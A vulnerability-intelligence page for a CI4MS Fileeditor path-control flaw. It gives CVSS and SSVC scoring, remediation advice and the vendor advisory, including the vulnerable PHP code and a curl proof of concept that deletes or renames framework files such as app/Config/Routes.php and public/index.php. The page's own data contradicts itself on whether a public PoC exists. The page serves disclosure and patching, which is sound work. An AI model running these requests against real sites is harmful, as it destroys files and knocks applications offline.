Skip to main content

CI4MS Fileeditor EUVDEUVD-2026-45948

| CVE-2026-45139 MEDIUM
External Control of File Name or Path (CWE-73)
2026-05-18 https://github.com/ci4-cms-erp/ci4ms GHSA-245j-xjvr-xvm5
6.5
CVSS 3.1 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain backend credentials with fileeditor.delete or fileeditor.update permission
  2. Delivery
    Authenticate to CI4MS backend panel
  3. Exploit
    POST crafted path to /backend/fileeditor/deleteFileOrFolder or renameFile
  4. Execution
    Path passes regex, isHiddenPath, and realpath containment checks
  5. Persist
    unlink() or rename() executes on critical framework file
  6. Impact
    Application enters persistent denial-of-service state on next request

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

Exploitation requires an authenticated backend session with either the fileeditor.delete role permission (to reach deleteFileOrFolder) or fileeditor.update role permission (to reach renameFile) on a CI4MS instance running v0.31.8.0 or earlier. Superadmin accounts always satisfy this condition; non-superadmin backend users explicitly assigned Fileeditor module permissions also qualify. The Fileeditor module must be installed and active. The target file path must resolve inside ROOTPATH (trivially satisfied for all framework files) and must not contain a path segment that exactly matches one of the 14 entries in $hiddenItems (.git, .github, .idea, .vscode, node_modules, vendor, writable, .env, env, composer.json, composer.lock, tests, spark, phpunit.xml.dist, preload.php). Exploitation is limited by: (1) mandatory authenticated backend session - the backendGuard filter via Ci4MsAuthFilter blocks unauthenticated access entirely; (2) the path containment realpath check prevents targeting files outside ROOTPATH; (3) the $hiddenItems blocklist protects the specific 14 artifacts it enumerates. No special non-default configuration beyond having the Fileeditor module installed and permission granted is required.

Impact

CVSS 6.5 (AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H) captures the key trade-offs: the attack is trivially automatable over the network with no interaction required, but the PR:H requirement - a valid backend session holding fileeditor.delete or fileeditor.update - is the dominant limiting factor. The practical threat model is a compromised admin account, a malicious insider, or an over-permissioned role assignment, not an anonymous attacker. EPSS data is not present in the provided intelligence, so exploitation probability cannot be quantified numerically; the existence of a working curl PoC in the public advisory raises the realistic likelihood of attempted exploitation above the base rate for PR:H findings. No CISA KEV listing is confirmed. Despite the moderate CVSS score, the availability impact is operationally severe: deleting public/index.php or app/Config/Routes.php renders the entire application unreachable on the next request with no in-app recovery path - a materially worse outcome than a typical high-privileges-required bug that merely leaks or corrupts a record. The SSVC technical impact is 'total' for availability. Risk is elevated for deployments where non-superadmin role holders carry Fileeditor module permissions and where no file-system backup or rapid redeploy capability is available.

Exploit ScenarioDerived

An attacker who has obtained a backend account with fileeditor.delete permission - via credential stuffing, phishing, or a malicious insider - sends a single authenticated POST to https://target/backend/fileeditor/deleteFileOrFolder with the body path=public/index.php; the front controller is immediately unlinked, and every subsequent HTTP request to the application fails, achieving persistent denial of service with one HTTP call. A working curl-based proof-of-concept demonstrating this exact scenario, including alternative high-impact targets (app/Config/Routes.php, app/Config/Database.php, app/Config/Filters.php, public/.htaccess), is publicly available in the GitHub security advisory GHSA-245j-xjvr-xvm5.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Destructive file operations in the CI4MS Fileeditor module (composer/ci4-cms-erp/ci4ms ≤ v0.31.8.0) allow an authenticated backend user to delete or rename arbitrary framework files - including the front controller, routing config, and authentication filter pipeline - producing a persistent denial of service that requires filesystem-level redeployment to recover. The root cause is an inconsistent application of the existing extension allowlist: while saveFile and createFile correctly gate writes through allowedFileTypes(), the deleteFileOrFolder and renameFile endpoints apply no such check to the source path, meaning any file inside ROOTPATH not named in the narrow $hiddenItems blocklist is reachable. A working curl-based proof-of-concept is publicly available via GitHub advisory GHSA-245j-xjvr-xvm5; no CISA KEV listing is present at time of analysis.

RemediationAI

Upgrade to CI4MS v0.31.9.0, which adds the extension allowlist check to both deleteFileOrFolder and the source-path validation branch of renameFile, closing the inconsistency. The release and its security notes are at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0 and the full advisory is at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5. If immediate upgrade is not feasible, revoke the fileeditor.delete and fileeditor.update permissions from all non-superadmin role holders as an interim workaround; this prevents exploitation by role-assigned users but does not protect against compromised superadmin accounts, and it disables legitimate file-management workflows for those roles. As a deeper hardening measure independent of patching, the vendor recommends confining all Fileeditor operations to a scoped directory allowlist (e.g., public/templates/, public/uploads/) rather than the full ROOTPATH, and expanding $hiddenItems to include app/Config and public/ path prefixes - note that replacing the segment-based blocklist with full path-prefix matching eliminates the current bypass vector entirely. Ensure filesystem-level backups or a rapid git-checkout redeploy procedure are in place to recover from accidental or malicious file destruction.

Affected VersionsENISA

ci4ms < 0.31.9.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.9.0
euvd ci4ms fix: 0.31.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CWE-73 (External Control of File Name or Path) describes the root cause precisely: user-controlled path data flows to filesystem sinks (PHP unlink() at Fileeditor.php:229 and rename() at line 146) without the extension gate that protects write operations. The affected package is a PHP CodeIgniter 4 CMS/ERP system (pkg:composer/ci4-cms-erp/ci4ms). The Fileeditor controller declares $allowedExtensions = ['css','js','html','txt','json','sql','md'] and a private allowedFileTypes() method, both of which are invoked by saveFile (line 110) and createFile (line 167) but are entirely absent from deleteFileOrFolder (lines 210-237) and from the source-path validation branch of renameFile (lines 123-151 - only the destination newName is checked there). A secondary guard, isHiddenPath(), only blocks path segments that are members of a 14-entry $hiddenItems list covering development artifacts (.git, .env, vendor, writable, etc.); critical CodeIgniter framework files - app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, public/.htaccess - are absent from that list and pass every validation stage. The realpath + strpos containment check correctly prevents path traversal outside ROOTPATH but is irrelevant to this vulnerability since the targeted files legitimately reside within ROOTPATH.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints - deleteFileOrFolder and renameFile - never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

php
// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

php
// deleteFileOrFolder - modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}
php
// renameFile - modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <- only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

  1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ - admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
  2. isHiddenPath() - only blocks paths whose individual segments equal an entry in $hiddenItems:
php
// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

  1. realpath + strpos containment - confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.
  2. Sink - unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

bash
# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.
# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller - entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)
# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

  • Regex /^[a-zA-Z0-9_ \-\.\/]+$/ - matches.
  • isHiddenPath('app/Config/Routes.php') - segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
  • realpath(ROOTPATH . 'app/Config/Routes.php') - resolves inside ROOTPATH, containment check passes.
  • unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes - no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

  • Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
  • Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" - recovery requires filesystem access (redeploy, git checkout, or backup restore).
  • Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

php
// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening - and aligned with the editor's apparent intent - is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy